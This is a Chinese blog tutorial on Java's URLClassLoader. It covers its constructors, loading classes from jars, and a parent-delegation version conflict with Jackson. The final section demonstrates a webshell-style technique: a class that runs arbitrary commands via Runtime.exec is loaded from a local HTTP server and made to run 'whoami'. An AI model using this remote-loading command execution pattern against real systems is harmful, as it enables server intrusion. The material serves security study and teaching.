首页 > 编程语言 >【java编程】URLClassLoader

【java编程】URLClassLoader

时间:2024-11-28 20:44:14浏览次数:8  
标签:java URLClassLoader URL 编程 jar class new public

从上面我们研究【java编程】双亲委派模式时进行Debug了源代码, 可以发现的是, URLClassLoader是ExtClassLoader && AppClassLoader的父类(不是父亲),

public class Launcher {
    static class ExtClassLoader extends URLClassLoader {}
    static class AppClassLoader extends URLClassLoader {}
}

URLClassLoader 的作用是可以从指定的jar文件和目录中加载类和资源。 其中它有两个重要的构造方法值得我们去实现并学习:

public URLClassLoader(URL[] urls, ClassLoader parent){
    // 作用: 使用指定的父加载器加载对象, 从指定的 urls 路径来查询, 并加载类
    // ...
}

public URLClassLoader(URL[] urls) {
    // 作用: 使用默认的父加载器 (AppClassLoader) 创建一个 ClassLoader 对象, 从指定的 urls 路径来查询, 并加载类
    // ...
}

如果使用第二个构造器, 那么URLClassLoader的parent将是AppClassLoader, 我们可以通过下图解释:

使用 URLClassLoader 加载&&执行 Jar 包

首先创建一个jar包, 如下:

根据上面的代码, 我们成功创建了一个jar包, 其中, 定义了com.utils.SayHello类以及在其中定义了hi方法, 创建测试代码, 如下:

public class HeihuHello {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
        URL[] urls = new URL[]{file.toURL()}; // 生成 URL
        URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
        Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello"); // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
        Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
        Method hi = clazz.getMethod("hi", new Class[]{});
        hi.invoke(o); // com.utils::hi~ ^_^
    }
}

URLClassLoader 因为委派模式导致的 "歧义" 问题

在com.utils.SayHello项目中的pom.xml文件中引入一个Jackson, 如下:

<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>

        <artifactId>jackson-core</artifactId>

        <version>2.11.0</version> <!-- 2.11.0 中存在 getFormatGeneratorFeatures 方法 -->
    </dependency>

</dependencies>

修改com.utils.SayHello::hi方法为如下内容:

public class SayHello {
    public static void main(String[] args) {
        System.out.println("Hi~");
    }

    public void hi() {
        System.out.println("com.utils::hi~ ^_^ JacksonTest: " + (new JsonFactory()).getFormatGeneratorFeatures()); // 因为编译器上下文环境中存在 getFormatGeneratorFeatures (也就是编辑器使用的是2.11.0版本), 所以编译不会出错.
    }
}

因为我们通过Maven增加了Jackson包, 所以我们设置在打jar包时, 一定要有提取到目标Jar (移除工件再添加工件即可), 如图:

重新定义后, 再构建项目即可.

确认打包好的内容, 存在 jackson, 如图:

在我们ClassLoader测试环境中, 在pom.xml文件声明如下选项:

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>

    <artifactId>jackson-core</artifactId>

    <version>2.5.4</version> <!-- 2.5.4 版本不存在 getFormatGeneratorFeatures -->
</dependency>

最终测试结果:

public class HeihuHello {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
        URL[] urls = new URL[]{file.toURL()}; // 生成 URL
        URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
        Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
        // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
        Object o = clazz.newInstance();   // com.utils.SayHello@6e0be858, 这里可以成功生成对象
        Method hi = clazz.getMethod("hi", new Class[]{});
        hi.invoke(o);
        /*
        * Caused by: java.lang.NoSuchMethodError: com.fasterxml.jackson.core.JsonFactory.getFormatGeneratorFeatures()I
            at com.utils.SayHello.hi(SayHello.java:16)
            ... 5 more
          这里会抛出异常, 因为加载类的方式是委派的, 当我们委派到 AppClassLoader 时, 加载了我们本环境中 2.5.4 的 Jackson, 而 2.5.4 的 Jackson 是不存在 getFormatGeneratorFeatures 方法的, 所以这里会报错.
        * */
    }
}

解决办法:

使用URLClassLoader的指明父亲的构造器, 代码如下:

public class HeihuHello {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        File file = new File("D:/MyJarTest.jar");
        URL[] urls = new URL[]{file.toURL()};
        URLClassLoader urlClassLoader = new URLClassLoader(urls, HeihuHello.class.getClassLoader().getParent());
        // ClassLoader.getSystemClassLoader() -> 返回 AppClassLoader
        // AppClassLoader -> parent -> ExtClassLoader
        Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
        // ExtClassLoader 及其父类都找不到 Jackson 包, 随后交给我们当前的 URLClassLoader 进行扫描, 最终扫描到了已打包好的 Jackson
        Object o = clazz.newInstance();
        Method hi = clazz.getMethod("hi", new Class[]{});
        hi.invoke(o);
    }
}

URLClassLoader 远程加载 WebShell

准备如下类:

public class CMD {
    /**
     *
     * @param cmd 要执行的命令
     * @return 命令执行的结果
     */
    public static String Exec(String cmd) {
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream is = process.getInputStream();
            byte[] myChunk = new byte[1024];
            int tmp = 0;
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while ((tmp = is.read(myChunk)) != -1) {
                byteArrayOutputStream.write(myChunk, 0, tmp);
            }
            return new String(byteArrayOutputStream.toByteArray());
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

然后打一个jar包, 开启网络服务.

准备如下代码, 测试运行结果:

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/MyJarTest.jar")}; // 解析 jar 包
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class<?> clazz = urlClassLoader.loadClass("CMD"); // 解析 jar 包中的 CMD.class 文件
        Method method = clazz.getMethod("Exec", String.class);
        String result = (String) method.invoke(null, "whoami");
        System.out.println(result); // heihubook\administrator
    }
}

当然了, 也可以将CMD.class文件放入到WEB服务根目录, 如图:

随后准备如下代码:

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")}; // 当成目录
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class<?> clazz = urlClassLoader.loadClass("CMD"); // 会读取目录下的 CMD.class 类
        Method method = clazz.getMethod("Exec", String.class);
        String result = (String) method.invoke(null, "whoami");
        System.out.println(result); // heihubook\administrator
    }
}
使用URLClassLoader,传入的地址,如果以`/`结尾,则会当做目录, 去这个目录下找类,否则就会将这个地址后的文件当做jar包,从jar包中找类。
当然了, 这里可以学习 ClassLoader-JSP 马的应用: https://www.freebuf.com/articles/web/323775.html

标签:java,URLClassLoader,URL,编程,jar,class,new,public
From: https://www.cnblogs.com/o-O-oO/p/18575128

相关文章

  • 【java编程】双亲委派模式
    双亲委派模式图文解释一个类加载器查找class和resource时,是通过委托模式进行的,它首先判断这个class是不是已经加载成功,如果没有的话它并不是自己进行查找,而是先通过父加载器,然后递归下去,直到BootstrapClassLoader,如果Bootstrapclassloader找到了,直接返回,如果没有找到,则一级一......
  • 14Java Lambda、方法引用、算法、正则表达式
    一、Arrays类接下来我们学习的类叫做Arrays,其实Arrays并不是重点,但是我们通过Arrays这个类的学习有助于我们理解下一个知识点Lambda的学习。所以我们这里先学习Arrays,再通过Arrays来学习Lamdba这样学习会更丝滑一些^_^.1.1Arrays基本使用我们先认识一下Arrays是干什么用的,A......
  • 15Java集合进阶(异常、集合)
    一、异常1.1认识异常接下来,我们学习一下异常,学习异常有利于我们处理程序中可能出现的问题。我先带着同学们认识一下,什么是异常?我们阅读下面的代码,通过这段代码来认识异常。我们调用一个方法时,经常一部小心就出异常了,然后在控制台打印一些异常信息。其实打印的这些异常信息......
  • 16Java集合进阶(Set、Map集合、可变参数、斗地主案例)
    请先看我上篇文章15Java集合进阶(异常、集合)-CSDN博客一、Set系列集合1.1认识Set集合的特点Set集合是属于Collection体系下的另一个分支,它的特点如下图所示下面我们用代码简单演示一下,每一种Set集合的特点。//Set<Integer>set=newHashSet<>(); //无序、无索引、不重......
  • 【java编程】Java 类加载器
    jvm启动的时候,并不会一次性加载所有的class文件,而是根据需要去动态加载.否则一次性加载那么多jar包那么多class,那内存将崩溃.Java类加载器Java类加载流程Java语言系统自带有三个类加载器,分别为如下:BootStrapClassLoaderBootstrapClassLoader:最顶层的加载类,......
  • 【java编程】Java 类 && Class 文件
    jvm启动的时候,并不会一次性加载所有的class文件,而是根据需要去动态加载.否则一次性加载那么多jar包那么多class,那内存将崩溃.Java类&&Class文件定义Heihu577.java文件,内容如下:publicclassHeihu577{publicstaticvoidmain(String[]args){Syst......
  • Java class 文件安全加密工具对比+ClassFinal实战
    前言常见加密方案对比XJarProGuardClassFinalClassFinal实战纯命令方式maven插件方式最后前言相信不少的同学开发的软件都是用户商业化,对于这些商业运营的项目很多都会直接部署在客户方,这样就可能会导致项目源码泄露。当然,作为Java语言的搬砖人......
  • 面向对象编程(基础部分)
    java设计者,引入OOP,根本原因是,现有技术不能完美解决新的需求0eg:张老太养了两只猫猫:一只名字叫小白,今年3岁,白色。还有一只叫小花,今年100岁,花色。请编写一个程序,当用户输入小猫的名字时,就显示该猫的名字,年龄,颜色。如果用户输入的小猫名错误,则显示张老太没有这只猫猫。1.......
  • 良好的编程习惯
    作为一名Java开发工程师,养成良好的编程习惯可以提高代码的可读性、可维护性和效率。以下是一些良好的编程习惯及其反例:1.代码风格和命名规范良好习惯:使用有意义的变量、方法和类名,遵循Java的命名规范(如类名用大写驼峰,变量和方法用小写驼峰)。使用一致的代码风格,如缩......
  • Java 编程的经典反例及其事故分析
    Java编程的经典反例及其事故分析Java作为一种广泛使用的编程语言,凭借其稳定性和可移植性在众多领域中占据了重要地位。然而,即便是最强大的语言,也会因为不良的编程习惯而导致严重的事故。本文将列举几个经典的Java编程反例,并分析这些反例背后的原因及其可能带来的影响......